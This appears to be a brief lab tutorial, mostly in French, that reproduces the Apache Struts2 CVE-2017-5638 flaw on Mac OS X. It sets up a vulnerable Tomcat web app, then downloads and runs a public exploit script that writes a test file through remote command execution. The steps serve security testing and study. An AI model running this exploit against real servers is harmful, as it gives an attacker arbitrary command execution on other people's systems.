
Tester la vulnérabilité struts2 CVE-2017-5638 sur Mac OS X
test de la vulnérabilité struts2 CVE-2017-5638 sous Mac OS X
###télécharger l'application web de test et l'exécuter dans tomcat
#install tomcat
brew install tomcat
#confirm where the tomcat installed
ls -lF `which catalina`
#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec
#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war
#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2
#run tomcat
catalina run
vérifiez l'application web en visitant http://localhost:8080/struts2
###depuis une autre machine, exécuter le script d'exploitation pour obtenir la possibilité d'exécuter n'importe quelle commande
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py
#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"
###revenir sur la machine web, vérifier que le fichier /tmp/yyy a été injecté
cat /tmp/yyy
vidéo: https://youtu.be/iQ_f-eG-EXg